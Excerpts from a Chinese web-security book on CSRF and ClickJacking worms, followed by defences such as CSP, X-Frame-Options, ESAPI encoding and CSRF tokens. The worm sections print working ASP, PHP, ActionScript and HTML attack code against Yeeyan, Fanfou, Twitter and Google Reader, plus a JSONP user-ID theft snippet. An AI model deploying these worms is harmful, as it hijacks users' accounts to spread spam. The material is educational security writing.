    {"text": "看下面这段代码的注释： r = Request.ServerVariables(\"HTTP_REFERER\") '获取用户的来源地址，如：http://www.yeeyan.com/space/show/hving If instr(r,\"http://www.yeeyan.com/space/show\") > 0 Then 'referer判断，因为攻击对象为yeeyan个人空间留言板，就是这样的地址 ...... id = Mid(r,34) '获取用户标识ID，如：hving furl = \"http://www.yeeyan.com/space/friends/\" + id '用户的好友列表链接是这样的 Set http=Server.CreateObject(\"Microsoft.XMLHTTP\") '使用这个控件 http.Open \"GET\",furl,False '同步，GET请求furl链接 http.Send '发送请求 ftext = http.ResponseText '返回请求的结果，为furl链接对应的HTML内容 fstr = regx(\"show/(\\d+)?\"\">[^1-9a-zA-Z]+<img\",ftext) '正则获取被攻击用户的所有好友的ID值，CSRF留言时需要这个值 farray = Split(fstr , \" | \") '下面几句就是对获取到的好友的ID值进行简单处理，然后扔进f(999)数组中 Dim f(999) For i = 0 To ubound(farray) - 1 f(i) = Mid(farray(i),6,Len(farray(i))-16) Next Set http=Nothing s = \"\" For i = 0 To ubound(farray) - 1 s = s + \"<iframe width=0 height=0 src='yeeyan_iframe.asp?id=\" & f(i) & \"'></iframe>\" '接着循环遍历好友列表，使用iframe发起CSRF攻击 Next Response.write(s) ...... End If %> 发起CSRF攻击的yeeyan_iframe.asp的代码如下，现在兼容FF浏览器了，表单提交兼容问题。 id = Request(\"id\") s = \"<form method='post' action='http://www.yeeyan.com/groups/newTopic/'>\" s = s+\"<input type='text' style='display:none!important;display:block;width=0;height=0' value='The delicious Tools for yeeyan translation:http://www.chyouth.gov.cn/yy.asp' name='data[Post][content]'/>\" s = s+\"<input type='text' style='display:none!important;display:block; width=0;height=0' value=\" + id + \" name='ymsgee'/>\" s = s+\"<input type='text' style='display:none!important;display:block; width=0;height=0' value=\" + id + \" name='ymsgee_username'/>\" s = s+\"</form>\" s = s+\"<script>document.forms[0].submit();</script>\" Response.write(s) 这就是这个译言CSRF蠕虫（或蠕虫雏形）的实现过程。"},
    {"text": "有一点要强调一下，蠕虫传播的前提是目标用户登录了目标网站，然后才能看到蠕虫消息并中招，之后的传播必定会带上目标用户的内存Cookie，所以这个过程不受限于IE下本地Cookie P3P策略的声明（见2.5.4节）。"},
    {"text": "9.3.3 饭否CSRF蠕虫——邪恶的Flash游戏 饭否（www.fanfou.com）是国内第一个微博，当时新浪、腾讯等门户网站都还没意识到微博效应的时候，饭否微博已经盛行，可惜被和谐一次后元气大伤。 2008年12月正值饭否火热之际，我们编写了一只目前看来还是非常经典的CSRF蠕虫，这只蠕虫在凌晨1点传播出去，短短半小时就迅速传播开。"},
    {"text": "），并且发现其网站根目录下的crossdomain.xml配置如下： <?xml version=\"1.0\"?> <cross-domain-policy> <allow-access-from domain=\"*\" /> </cross-domain-policy> 其中，allow-access-from domain=\"*\"这样的通配符配置是允许其他域的Flash发起跨域请求的，也就是可以利用Flash里的ActionScript脚本进行CSRF攻击。 其实对于这类Web 2.0网站来说，一般情况下只要有普通的CSRF漏洞并且能够发互动性的消息，就可以进行CSRF蠕虫攻击，就像译言CSRF蠕虫那样。 不过既然这里能利用Flash，而且我们都知道Flash能够呈现出非常酷炫的动画效果或者游戏，如果我们利用一款Flash游戏，并在里面嵌入恶意的ActionScript脚本，那么带来的攻击效果肯定会非常好。 因为当用户被吸引去玩这款游戏的同时，CSRF攻击已经悄悄发生，CSRF蠕虫已经悄悄传播，此时用户可能还沉浸在游戏中…… 有了这些想法后，现在就开始实施，编写Flash游戏。 2）编写这款Flash游戏 我们在网络上找了一款开源的Flash游戏——连连看，并按照自己的风格对游戏进行样式上的修改，植入了我们的CSRF蠕虫代码，然后将Flash游戏放到当时xeyeteam的官网下（http://xeye.us/lab/enjoy_flash_game.php），游戏的界面如图9-5所示。 图9-5 包含饭否CSRF蠕虫的Flash游戏界面 嵌入的ActionScript代码如下： import flash.net.URLRequest; var loader:URLLoader = new URLLoader(); loader.addEventListener(Event.COMPLETE,loaded); function loaded(e:Event){ var friends = loader.data.split(\",\"); for each(var i in friends){ send_m(i); // 遍历被攻击者的好友列表，对每个好友都发送私信 } post_m(); // 自己发送一条微博消息 } loader.load(new URLRequest(\"friends.txt\")); // 被攻击者的好友列表，这来自哪？ 后面会提到 function send_m(i){ // 发送私信的函数 var url = new URLRequest(\"http://fanfou.com/privatemsg/sent\"); // 私信提交地址 var _v = new URLVariables(); _v = \"sendto=\" + i + \"&content=终于编写了第一个flash游戏：连连看:)，太不容易了- -...\\n 欢迎测试：http://xeye.us/lab/enjoy_flash_game.php?hi=\" + i + \"&action=privatemsg.post\"; // 私信的表单内容 url.method = \"POST\"; // POST方式提交 url.data = _v; sendToURL(url); // 发送 } function post_m(){ // 发送微博消息的函数 var url = new URLRequest(\"http://fanfou.com/home\"); // 微博消息提交地址 var _v = new URLVariables(); _v = \"content=终于编写了第一个flash游戏：连连看:)，太不容易了- -...\\n欢迎测试：http://xeye.us/lab/enjoy_flash_game.php&action=msg.post\"; // 微博消息的表单内容 url.method = \"POST\"; // POST方式提交 url.data = _v; sendToURL(url); // 发送 } 这段ActionScript代码很简单，在第2章已介绍过其中可能涉及的相关知识点，接下来看看代码的攻击逻辑。 3）CSRF蠕虫传播开始 当用户被欺骗打开该Flash的URL地址时，ActionScript代码即触发，首先会加载该用户的好友列表文件（我们很快就会知道这个好友列表文件从何而来），然后遍历好友列表向每个好友发送一条私信，如图9-6所示。 图9-6 饭否CSRF蠕虫发送私信 每条私信中的URL地址都带上目标好友的ID号，目的是为了识别不同的被攻击者，然后获取到不同的被攻击者自己的好友列表。"},
    {"text": "图9-7 饭否CSRF蠕虫发送消息 好了，现在CSRF攻击已经不成问题了，想要发送的数据都能发送成功，那么如何传播开呢？ 从前面的知识知道，这些Web蠕虫都是基于用户群的，需要大量的用户参与，借用户交互之势而传播，而用户之间却存在一种信任关系，一般情况下，如果是自己的好友给自己发消息，都会去看，因为彼此很信任，饭否的这个蠕虫传播正是利用了这个特性。"},
    {"text": "获取好友的列表的代码不在ActionScript脚本中（其实是可以的），而是在Flash所在的链接文件enjoy_flash_game.php中，是一段PHP代码，具体如下： <?php //2008-12-16 //fanfou.com csrf worm with flash:) function get_friends($id){ // 获取指定用户ID号的好友列表，并以逗号分隔生成到目标friend.txt文件中 $friend_url = 'http://fanfou.com/friends/'.$id; // 好友页面 $friend_page = file_get_contents($friend_url); // 获取好友页面内容 preg_match_all(\"/<a href=\\\"\\/([^<>\\'\\\"]*?)\\\" title=\\\"/\", $friend_page, $m); // 正则匹配出好友ID号列表 $friends = implode(',', $m[1]); // 以逗号连接各个好友ID号 $fp = fopen(\"friends.txt\", \"w+\"); // 将结果写到目标friend.txt中，friend.txt就是这样来的 fwrite($fp, $friends); fclose($fp); } if($_GET[\"hi\"]){ // hi参数获取指定用户的ID号 get_friends($_GET[\"hi\"]); // 调用get_friends函数 }else{ // 如果无hi参数，则通过referer值获取用户的ID号 $r = $_SERVER['HTTP_REFERER']; $id = substr($r, 18, strlen($r) - 18); if($id == 'home'){ echo 123; }else if(strpos($id, 'message') == 0){ // 这个message页面的referer可以得到用户的ID号 $id = substr($id, 8, strlen($id) - 8); get_friends($id); // 调用get_friends函数 } } ?> <html xmlns=\"http://www.w3.org/1999/xhtml\" xml:lang=\"zh_cn\" lang=\"zh_cn\"> <head> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=gb2312\" /> <title>连连看 - xeye.us</title> …. 省略一些多余的代码，这下面是HTML，嵌入这个恶意的Flash文件：evil.swf。 … <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\"> <param name=\"allowScriptAccess\" value=\"sameDomain\" /> <param name=\"allowFullScreen\" value=\"false\" /> <param name=\"movie\" value=\"evil.swf\" /> <embed src=\"evil.swf\" allowScriptAccess=\"sameDomain\" allowFullScreen=\"false\" type=\"application/x-shockwave-flash\"/> </object> </body> </html> 从代码的注释就可以知道这个好友列表文件friends.txt的出处，能够获取到好友列表内容的关键是该内容页面不需要权限认证，直接通过服务端请求就能将目标用户的好友列表获取到。"},
    {"text": "图9-8 饭否CSRF蠕虫，好友收到消息 当coxl4ile登录自己的饭否时，收到私信消息提醒，然后查看，发现私信是自己的好友发来的，而且居然是好友号称自己编写的Flash游戏，自然就会考虑去试玩。 coxl4ile打开该链接： http://xeye.us/lab/enjoy_flash_game.php?hi=coxl4ile 看到的就是图9-5所示的Flash游戏界面，此时CSRF攻击已经在Flash游戏内发生了。 重复上面介绍的攻击过程，coxl4ile会自动向自己所有的好友发送私信，最后自己发一个微博消息，内容都一样，于是CSRF蠕虫就这样传播开了。"},
    {"text": "这是CSRF蠕虫的又一个经典案例，大家可以对比一下译言CSRF蠕虫。 9.3.4 CSRF蠕虫存在的可能性分析 2008年发起了两例CSRF蠕虫之后，我们就开始总结一些模式，其中就是探索CSRF蠕虫存在的可能性，于是有了下面这篇文章，比较具备参考价值。 顾名思义，CSRF蠕虫就是利用CSRF技术进行传播的Web蠕虫，前面的译言CSRF蠕虫以及相关分析文章说明了CSRF蠕虫存在的事实，译言网站（以下称这样的宿主为victim_site）的这个CSRF蠕虫是由用户驱动的，蠕虫的代码都存放于另外一个网站上（如worm_site），在victim_site上需要用户驱动的就一个链接http://worm_site/，该链接指向CSRF蠕虫本身。"},
    {"text": "1. CSRF蠕虫的传播 比如，我们要在一个SNS网站中传播CSRF蠕虫的链接（http://worm_site/），当用户单击这个链接时，就会触发CSRF蠕虫，初始时，蠕虫链接http://worm_site/被提交在http://victim_site/user=37用户的留言板上，当登录的用户A单击这个蠕虫链接时，worm_site会判断单击的来源地址，根据来源的地址本身或者来源地址对应的页面内容中的用户唯一标志，来区分出该留言板所属用户的所有好友的信息。"},
    {"text": "根据批量获取的这个唯一的[user_id]，CSRF蠕虫就可以借用用户A的权限循环发起POST型的CSRF攻击，此时蠕虫提交的表单类似如下代码： <form action=\"http://victim_site/post_info.do\" method=\"post\"> <input type=\"text\" name=\"title\" value=\"hi\" style=\"display:none!important; display:block;width=0;height=0\" /> <input type=\"text\" name=\"info\" value=\"有趣的网站：http://worm_site/ 。 \"style=\"display:none!important;display:block;width=0;height=0\" /> <input type=\"text\" name=\"user_id\" value=\"[user_id]\" style=\"display:none! important;display:block;width=0;height=0\" /> </form> 该表单中的[user_id]是这个SNS网站进行用户身份标志的值，如果我们的CSRF蠕虫不能获取这个值，就无法正常传播。"},
    {"text": "CSRF蠕虫必须知道自己正在处理的是谁的信息，比如[user_id]为37的好友列表页面地址http://victim_site/friends/user=37，这是唯一的，只有知道这样的唯一值，才能知道该唯一值对应的其他唯一信息。"},
    {"text": "上面的表单代码在worm_site上打包为一个函数： function post_info(user_id){ var id = user_id; create_form with the id; } 该函数通过唯一的[user_id]动态生成并提交POST型的CSRF攻击表单。"},
    {"text": "1）服务端代理技术 译言CSRF蠕虫使用的就是这样的技术，利用服务端脚本获取到的Referer值来判断来源地址，由于该Referer值也许包含SNS网站中用户的唯一标志，比如，译言的个人空间链接地址http://www.yeeyan.com/space/show/19076，其中的19076就是该用户的唯一标志。 蠕虫在服务端就可以根据这个唯一标志区分自己将要处理的数据，比如，获取19076用户的好友信息，就可以操作这个地址http://www.yeeyan.com/space/friends/19076。"},
    {"text": "这样CSRF蠕虫就只能通过Referer里的唯一值来进行下一步攻击，而不能通过获取Referer的地址对应的页面内容中由Cookie决定的唯一值，比如，这样的地址http://www.yeeyan.com/space/showme，对每个登录的译言用户而言，链接地址一样，但是页面内容不一样，其中不一样的内容由用户的身份标志决定。 使用服务端代理技术无法通过CSRF技术获取http://www.yeeyan.com/space/showme链接页面中不一样的用户唯一标志。"},
    {"text": "2）Flash AS跨域请求技术 目标服务器下必须存在crossdomain.xml文件，且crossdomain.xml中的配置允许其他域的AS脚本进行跨域请求，如下： <?xml version=\"1.0\"?> <cross-domain-policy> <allow-access-from domain=\"*\" /> </cross-domain-policy> 那么worm_site就可以使用AS脚本来发起跨域的GET请求，这是客户端发起的CSRF攻击，在请求时会带上本地Cookie或者内存Cookie，所以，可以很方便地获取我们想要的页面内的唯一值。"},
    {"text": "这里以盗取新浪微博用户邮箱为例进行说明，如果新浪微博登录用户访问攻击者构造的页面，页面代码如下： <script>function func(o){alert(o.userinfo.uniqueid); //得到微博用户唯一ID }</script><script src=\"http://weibo.com/xxxxxxx.php?framelogin=0&callback= func\"></script> 用户的唯一ID就会被获取，如图9-9所示。"},
    {"text": "在不同的Web 2.0环境下，CSRF蠕虫的细节不一样，不过各类原理是一样的。 通过对CSRF蠕虫传播原理的分析，许多广泛存在CSRF漏洞的Web 2.0网站都面临着CSRF蠕虫的威胁。 Web 2.0蠕虫由用户驱动（被动的或主动的），加上一些社工技巧，这将很难防御。 这篇文章分析的CSRF蠕虫是指站外CSRF蠕虫，如果在站内，同域环境下且利用XSS技术，CSRF蠕虫就不再是单纯的CSRF了。"},
    {"text": "在2009年初，Twitter上的很多用户都发现自己的Twitter上莫名其妙地出现了下面这条广播： Don't Click: http://tinyurl.com/amgzs6 用户实际上根本就没有广播过这条消息。"},
    {"text": "这次Twitter的蠕虫事件就是使用ClickJacking技术进行传播的。 这也是蠕虫首次使用ClickJacking技术手段进行传播的案例。 9.4.2 ClickJacking蠕虫技术原理分析 下面就对Twitter的这次Don't Click蠕虫做技术分析。 首先，攻击者使用ClickJacking技术制作蠕虫页面，该页面的URL地址使用TINYURL短地址转http://tinyurl.com/amgzs6。"},
    {"text": "对iframe和button标签进行CSS样式设定，设置iframe标签所在层为透明层，使iframe标签所在层位于button标签所在层的正上方： <style> iframe { position: absolute; width: 550px; height: 228px; top: -170px; left: -400px; z-index: 2; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; top: 10px; left: 10px; z-index: 1; width: 120px; } </style> 透明层下方的迷惑按钮和Twitter中的发送广播按钮重合： <button>Don't Click</button> 透明层的内容中，status参数后的内容即为发送广播的内容： <iframe src=\"http://twitter.com/home?status=Don't Click: http://tinyurl.com/amgzs6\" scrolling=\"no\"></iframe> 页面虽然简陋，但上面介绍的这个POC正是ClickJacking蠕虫最核心的框架。"},
    {"text": "攻击者首先在自己的Twitter上发一条广播：“Don't Click: http://tinyurl.com/amgzs6”。 当攻击者的其他好友收听到这条广播后，好奇心促使他们去单击http://tinyurl.com/amgzs6链接，进而去单击链接页面中的“Don't Click”按钮。 当单击该按钮后，其实单击的是Twitter中发送广播的按钮，于是在用户不知情的情况下，用户的Twitter中发送一条广播，内容为“Don't Click: http://tinyurl.com/amgzs6”。"},
    {"text": "从上面的分析可以得出，要发动ClickJacking蠕虫攻击，满足以下两点必要条件即可： 在SNS社区网络中，找到一个可以直接使用HTTP的GET方式提交数据的页面。"},
    {"text": "9.4.3 Facebook的LikeJacking蠕虫 Twitter的这次蠕虫传播事件是ClickJacking自2008年提出以来，首次使用ClickJacking技术进行蠕虫传播的大规模攻击事件。 在此之后，2010年年中，Facebook同样遭受到了ClickJacking蠕虫的攻击，因为这次蠕虫是通过劫持“Like Button”插件来进行传播的，所以业界也称为LikeJacking蠕虫攻击。"},
    {"text": "在SNS社区网络中，如微博、博客、网络书签、社区等都会用到一种非常流行的插件，这个插件就是“一键分享”功能插件，如图9-10所示。 图9-10 一键分享JiaThis 这种插件可以让用户把在网络中看到的好文章或好资源直接以广播消息的形式发布到自己的社区和好友们进行分享。"},
    {"text": "在本书里，我们把发生在“一键分享”上的ClickJacking蠕虫更加精确具体地称为ShareJacking蠕虫，就是为了更加明确地表明这种模式导致的蠕虫攻击。 当时，我们对SNS网络社区做了抽样测试，除了发现Google Reader存在ShareJacking蠕虫攻击外，还发现国内SNS环境中腾讯微博、腾讯空间、腾讯朋友、搜狐微博、人人网、淘江湖均存在这种攻击。"},
    {"text": "孕育ShareJacking蠕虫需要三个必备条件，除了9.4.2节中提到的两个条件：“HTTP GET发送数据”和“可以被<iframe>包含”外，第三个条件是需要这个页面是“一键分享”页面。"},
    {"text": "我们为了测试ShareJacking蠕虫在真实网络中的传播效果，于是在GR上制造了一个ShareJacking蠕虫，使蠕虫在网络上存活了14个小时，我们在蠕虫上加了探针对传播数据进行统计。"},
    {"text": "图9-11 Google Reader共享条目 GR还提供另一个页面进行共享条目的发布，这个页面使用HTTP GET方式发送数据，而且可以被<iframe>包含，如图9-12所示。 图9-12 Google Reader发布共享条目的页面 2. 蠕虫的编写 ShareJacking蠕虫的编写格式完全可以套用前面Twitter的Don't Click蠕虫编写框架。"},
    {"text": "为了使蠕虫传播得更快，我们对其蠕虫页面也进行了润色，代码如下： <!-- Author:xisigr[xeyeteam],evilcos[xeyeteam] --> <meta http-equiv=content-type content=\"text/html; charset=gb2312\"> <title>喷血！"},
    {"text": "与人人网联合推出的，网络美女聚合网站，通过点击来进行质量推荐，不错的idea，肯定火爆</title> <style> body {background-color:#555;} iframe { position: absolute; width: 600px; height: 430px; top: 0px; left: 0px; z-index: 2; opacity: 0; filter: alpha(opacity=0); } button { position: absolute; height: 35px; top: 188px; left: 48px; z-index: 1; } </style> <div><img src=img1_src_3202693.jpg /></div> <button>下一张</button> <!--被包含页面--> <iframe src=\"http://www.google.com/reader/link?url=http://t.cn/a9mL2R&title=喷血……网络美女聚合网站，通过点击来进行质量推荐，不错的 idea，肯定火爆！"},
    {"text": "&snippet=&srcTitle=网络美女汇聚网 - 点击汇聚 - 一种新模式&srcUrl=http://t.cn/a9mL2R\" scrolling=\"no\" > </iframe> <!--加入探针--> <script type=\"text/javascript\" src=\"http://js.tongji.linezing.com/2504720/tongji.js\"></script> <div style=\"font-size:12px;padding:10px 0;color:#eee;\">2008-2011 (meinvjuhe.cc，<span style=\"color:#FF0099;\">美女聚合互动传媒</span>), All rights reserved.</div> 把编写好的蠕虫放到网上，蠕虫页面地址（http://xisigr.50webs.com/mm_google.html）的短地址为http://t.cn/a9mL2R，如图9-13所示。"},
    {"text": "图9-13 ShareJacking蠕虫界面 3. 蠕虫传播后的效果 我们通过Google搜索引擎、RSS搜索引擎和探针统计这些手段，对蠕虫传播的这14个小时进行了跟踪记录。"},
    {"text": "1）Google搜索统计 在蠕虫传播的第13个小时，我们在Google（谷歌）里搜索了蠕虫中的关键字“喷血……网络美女聚合网站，通过点击来进行质量推荐，不错的idea，肯定火爆！"},
    {"text": "图9-14 谷歌上的ShareJacking蠕虫快照 2）RSS搜索统计 很多聚合的RSS引擎中同样可以搜索到关键字，比如来自friendfeed.com的聚合，如图9-15所示。 图9-15 RSS聚合上的ShareJacking蠕虫感染效果 3）探针统计 源头是我们在GR上发了一条这样的消息，GR共享好友加起来不超过10人。"},
    {"text": "根据探针统计，蠕虫传播的起始时间从2011年6月23日早9:00到2011年6月23日晚23点，共14个小时，如图9-16所示。 图9-16 ShareJacking蠕虫传播统计数据概览 在图9-17中展示了传播的时间段统计，大家可以看到，只有9:00—23:00是有数据的。"},
    {"text": "只要是带有共享性质的网络社区，都有可能会遭受到ClickJacking蠕虫的攻击。 Twitter和Facebook上的这两次蠕虫事件让人们对ClickJacking攻击有了进一步认知的同时，也让蠕虫传播的手段有了更加多样的选择。 在对GoogleReader进行的这次Sharejacking蠕虫测试，也表明了Clickjacking蠕虫攻击很容易复制。 Twitter和Facebook在经过了几次的ClickJacking蠕虫的洗礼后，现在已经在页面中做了很好的防御。 比如，Twitter的一键分享页面http://twitter.com/intent/tweet已经在HTTP头关键字中加入X-FRAME-OPTIONS来抵御ClickJacking攻击，Facebook的一键分享页面http://www.facebook.com/sharer/sharer.php中也使用了Frame Busting脚本来进行抵御。 但是，经我们测试的国内SNS网络中，还有很大一部分网站并没有对ClickJacking进行防御，这就意味着随时存在爆发大规模ClickJacking蠕虫的可能行。"},
    {"text": "除此之外，还会在本章的最后专门介绍“邪恶的SNS社区”，因为前端攻击在SNS中会更加活跃，其中也会有更多的人性对弈，甚至不需要高明的技术，这点是Web厂商和用户需要特别注意的。"},
    {"text": "在前面的内容中，我们有针对性地提到了一些防御思路，本章不会针对具体的场景提供防御思路，而是将一些通用有效的防御思路总结出来，供大家参考并灵活运用。"},
    {"text": "10.1 浏览器厂商的防御 导致现在这种Web前端混乱局面的原因有很多，W3C在进化着，各家的浏览器也在进化着，整体是一个好趋势，现在的混乱主要是因为初期的设计忽略了大量安全的因素，几乎都是以“如何将WWW友好地呈现在大家面前”为第一要务。 现代浏览器都开始意识到安全问题了，于是都很愿意去遵守他们共同推进的W3C标准，可以肯定的是，我们会发现越来越多网站的前端混乱局面会有很好的改善。"},
    {"text": "与前端安全有关系的头部字段有如下几个： X-Frame-Options X-XSS-Protection X-Content-Security-Policy 前两个大家应该都很熟悉了，第一个与防御ClickJacking有关，第二个与防御反射型XSS有关，第三个会在后面介绍。"},
    {"text": "这个策略的这些缺陷是不可避免的，能识别出反射型XSS是因为提交请求的URL中带有可疑的XSS代码片段，当浏览器通过大量正则匹配到时，就会触发对应的防御机制，在响应时，如果发现这段可疑的XSS代码片段进入DOM中，相关的防御机制就会开始生效。"},
    {"text": "10.1.2 迟到的CSP策略 前面我们提到Web前端混乱局面，比如IE下的CSS的expression可以写JavaScript，再如，HTML的标签<script>、标签on事件、标签style属性、标签src/href/action等属性都可以内嵌JavaScript执行。"},
    {"text": "如果这样分离，我们不用担心HTML中直接出现JavaScript的风险，而且JavaScript/CSS独立文件所在的域可以配置为白名单，这样就能有效地防止加载攻击者域上的相关资源文件。"},
    {"text": "Firefox与Chrome已经开始支持，IE 10也会开始支持，以下描述的是一种按标准实现理想的状态，经过我们测试，有些标准并没有严格实现，导致不该出现的风险还可能出现。"},
    {"text": "注： 目前，Chrome支持CSP策略的头部是X-WebKit-CSP，而不是标准的X-Content-Security-Policy，但是具体策略都一样，以下统一使用X-Content-Security-Policy进行描述。 CSP策略由一些指令构成，每个指令以分号（;）分隔，语法格式如下： X-Content-Security-Policy: [指令1] [指令值1] [指令值2]; [指令2] [指令值1] ... 目前X-Content-Security-Policy包含的指令及描述如表10-1所示。 表10-1 X-Content-Security-Policy指令 除了以上常规指令外，还有一个特殊指令report-uri，用于将违法CSP策略的告警信息传输给report-uri指定的地址中，这样可以有效地评估目标页面的CSP策略动态，比如攻击者尝试的XSS攻击。"},
    {"text": "响应头如下： X-Content-Security-Policy: default-src *.foo.com 在这样的场景中，当进行XSS攻击时，要想成功，只能注入<script>对象，并加载攻击者可控的*.foo.com白名单下任意脚本文件，比如，一些JSON callback文件（如果可以注入任意JavaScript的话）。"},
    {"text": "这个场景还可以对外部资源进行细分，比如图片、Flash、样式、脚本等文件，这样的场景保证了HTML仅做HTML的事，脚本逻辑等都放在了独立的资源文件中，是一种非常漂亮的分离策略，这样的策略除了自身很优美之外，还大大提高了前端安全性。"},
    {"text": "10.2.1 域分离 域分离做得好的可以参考Google，Google将一些业务关联性小的内容转移到了不相干的域中，比如： http://www.google.com/enterprise/mini/554_google_mini.swf 和广告有关系的内容，在访问的时候会跳转到： http://static.googleusercontent.com/external_content/untrusted_dlcp/www.google.com/zh-CN//enterprise/mini/554_google_mini.swf 这个跳转方案是后面才加上的，这样的后续解决方案既保证了安全性，又不影响之前链接的有效性。"},
    {"text": "Google不同业务的子域都进行了上面这样安全的划分，且子域很严格，不会出现很多网站为了方便用统一的js文件设置子域的document.domain为顶级域，这样，不同业务的子域在Web前端可以互相影响，比如，人人网、QQ很多服务的子域设计。"},
    {"text": "还有一种糟糕的子域设计是新浪微博，主内容都在顶级域下（weibo.com），大量的子域提供不同的业务，任何一个子域有XSS，都可以轻易跨到顶级域下。 同样，糟糕的设计还有，在重要的业务子域下面有一个类似proxy.html的文件，这个文件会将document.domain设置为顶级域，那么就可以很容易地被其他子域的XSS利用，而间接地跨到这个重要业务的子域上。"},
    {"text": "国内很多重要的服务认为只要登录口与账号设置页面是HTTPS就足够，这个观点是错误的，被嗅探时，这个方案泄漏不了密码，但是在非HTTPS页面上照样可以泄漏身份认证Cookie以及页面的明文信息。"},
    {"text": "10.2.3 安全的Cookie 在第2章详细介绍了Cookie安全，这方面的典型同样可以学学Google，某些身份认证相关的Cookie肯定严格设置为HTTPS传输，肯定是HttpOnly标志，这样XSS即使盗取了Cookie，也无法正确使用。 有的服务乍一看也支持HttpOnly Cookie，但是这样的Cookie却和身份认证关系不大，只能说错误地应用了HttpOnly。 10.2.4 优秀的验证码 验证码的出现肯定降低了用户体验，但是这个降低阈值是可以控制好的，比如，Google的验证码，在登录进入页面前几次是不出现的，只有登录失败几次后才会出现，且Google不同业务的验证码体系的同一套，不会像有的网站在不同业务之间出现不同风格的验证码，这样安全性很难保证一致。"},
    {"text": "Google的验证码公认是比较安全的（字母连着、扭曲变形、线条平滑、无噪等），暴力破解很困难，这也带来了用户体验上的尴尬，经常会输错验证码，说明Google非常重视安全，宁可牺牲一点用户体验，这对我们来说是可以接受的。"},
    {"text": "这样的验证码如果出现在一些功能重要的地方，是可以有效防止XSS/CSRF非法提交的，比如，对一些资料的篡改，在HTML 5中，虽然JavaScript canvas可以进行图片识别（同域内），破解验证码，但这个代价太高，真实的攻击中还未见到。"},
    {"text": "10.2.5 慎防第三方内容 第三方内容的安全性是经常被大家提起的，常见的有以下几种形式： <script>引用第三方js文件，比如，各种流行的统计脚本、广告脚本等。 <iframe>引用第三方HTML文件，比如，各种广告、第三方应用等。 <objet>等引用第三方Flash等资源，比如，各种广告、游戏等。"},
    {"text": "针对第1点，经典的案例是2009年初ring04h针对phpwind和Discuz!的劫持事件，通过对phpwind和Discuz!管理员后台<script>嵌入的统计脚本域名进行劫持，篡改了统计脚本的内容，导致登录管理员后台的管理员执行了恶意JavaScript代码，从而使论坛首页被篡改。"},
    {"text": "针对第2点，曾经出现最多的案例就是挂马事件，包括新浪宠物频道，曾经就因为<iframe>嵌入的页面被挂马，直接导致访问新浪宠物频道的人中招。"},
    {"text": "一个是人人网于2009年曾经出现的Flash蠕虫，攻击者制作了一个Flash假视频植入人人网的个人分享中，这个Flash假视频可以执行恶意JavaScript代码，单击视频的人都会中招传播该恶意的Flash。 另一个是2008年发生在国外知名网站（MSNBC.COM）上的剪贴板劫持事件，大概过程是MSNBC.COM上有一个Flash广告，这个广告可能被攻击者控制，并植入了恶意的ActionScript代码，如下： if (clipboard.length) System.setClipboard(clipboard); 当用户访问MSNBC.COM时，用户的剪贴板会自动植入下面的网址： http://xp-vista-update.net/?id=xx 其中，id会根据值的不同，重定向到不同的网页，几乎都是做杀毒软件虚假推广的。"},
    {"text": "10.2.6 XSS防御方案 我们认为熟悉了“攻”，“防”才会更加顺手，否则对于只关注防的人来说，是很希望有一种手册般完美的防御策略的，这太理想化了。 下面的防御方案中，我们会主要引入OWASP的XSS防御方案，原因如下： OWASP出品的质量是业界公认的，XSS防御方案虽然不够完美，但已经不错了。"},
    {"text": "OWASP给出的解决方案不仅仅是文字，还有ESAPI（企业级安全API），几乎流行的语言都可以离线调用对应的接口进行相应的防御，这省去了我们自己写相关的过滤函数与防御逻辑。"},
    {"text": "规则一：进入HTML标签之间时 比如，在<div></div>之间，HTML编码转换规则如下： & -->&amp; < -->&lt; > -->&gt; \" -->&quot; ' -->&#x27; &apos;不被建议了 / -->&#x2F; 包含斜杆是因为它是HTML结束标签里的符号 使用ESAPI接口就非常简单了，一个函数调用（以下都以Java为例，其他语言类似）如下： String safe =ESAPI.encoder().encodeForHTML( request.getParameter( \"input\" ) ); 规则二：进入HTML普通属性值时 普通属性如value、width、height等，而href、src、action、style、on*事件等除外（参考规则三）。 普通属性的样例如下： <div attr=...编码不可信的数据...>content</div>无引号包围 <div attr='...编码不可信的数据...'>content</div>单引号包围着 <div attr=\"...编码不可信的数据...\">content</div>双引号包围着 如果是单引号或双引号引起来的，那就简单了，只要编码单引号或双引号为&#xHH;的形式即可，否则要编码的就多了：空格（包含ASCII十进制数的9、10、11、12、13、32）<>等。"},
    {"text": "使用ESAPI接口如下： String safe = ESAPI.encoder().encodeForHTMLAttribute( request.getParameter ( \"input\" ) ); 规则三：进入JavaScript中时 其实这个有些复杂，修补的本质参考6.2节的内容，在此不再赘述，不过有一点要注意，如果是进入<script></script>里，小心输入的</script>闭合之前的<script>，无论这个</script>在JavaScript的什么位置。 使用ESAPI接口如下（不完备，大家多测试）： String safe = ESAPI.encoder().encodeForJavaScript( request.getParameter ( \"input\" ) ); 规则四：进入CSS中时 CSS非常松散，如果是定义具体某CSS属性的值，比如width的值，避免出现'\"、;、}、{、(、)等特殊字符。 如果允许用户完整自定义CSS，则需要过滤掉javascript伪协议、expression及各种变形、@import及各种变形等，这些变形在<style>里或单独的CSS文件里往往是嵌入了\\字符以及字母替换为\\HH（十六进制），如果是在HTML标签style属性里，往往是字母替换为&#DD（十进制）或&#xHH;（十六进制）形式。"},
    {"text": "使用ESAPI接口如下： String safe = ESAPI.encoder().encodeForCSS( request.getParameter( \"input\" ) ); 规则五：进入URL时 一般就是对特殊字符采用%HH（十六进制）形式的编码，使用ESAPI接口如下： String safe = ESAPI.encoder().encodeForURL( request.getParameter( \"input\" ) ); 需要特别注意的是，如果输出的值是href/src等属性的完整值或前部分值，需要注意javascript:/data:等这类伪协议，一般采用白名单前缀协议进行限制会比较好，比如，只允许http://或https://打头的URL。 最后，这些防御方案的实施需要依据自己的场景进行，有的场景是不允许出现任何富文本的，此时直接在输出时进行HTML编码即可，而有的场景是允许部分富文本的（比如邮件系统、Blog系统），此时就不能简单地进行HTML编码了事，而是过滤掉那些危险的标签、事件等，但是我们通过前面的内容知道，这样过滤不会那么简单，HTML很松散，字符集编码有的时候是一个大问题，浏览器可能还有解析BUG，总是会出现相关的绕过。"},
    {"text": "4. 使用一次性token 这是当前CSRF攻击中最流行的解决方案，token是一段字母数字随机值，长度为10～40个字符，每次生成的值都是唯一的，所以往往会加上这几个因子：时间搓、用户ID、随机串等。"},
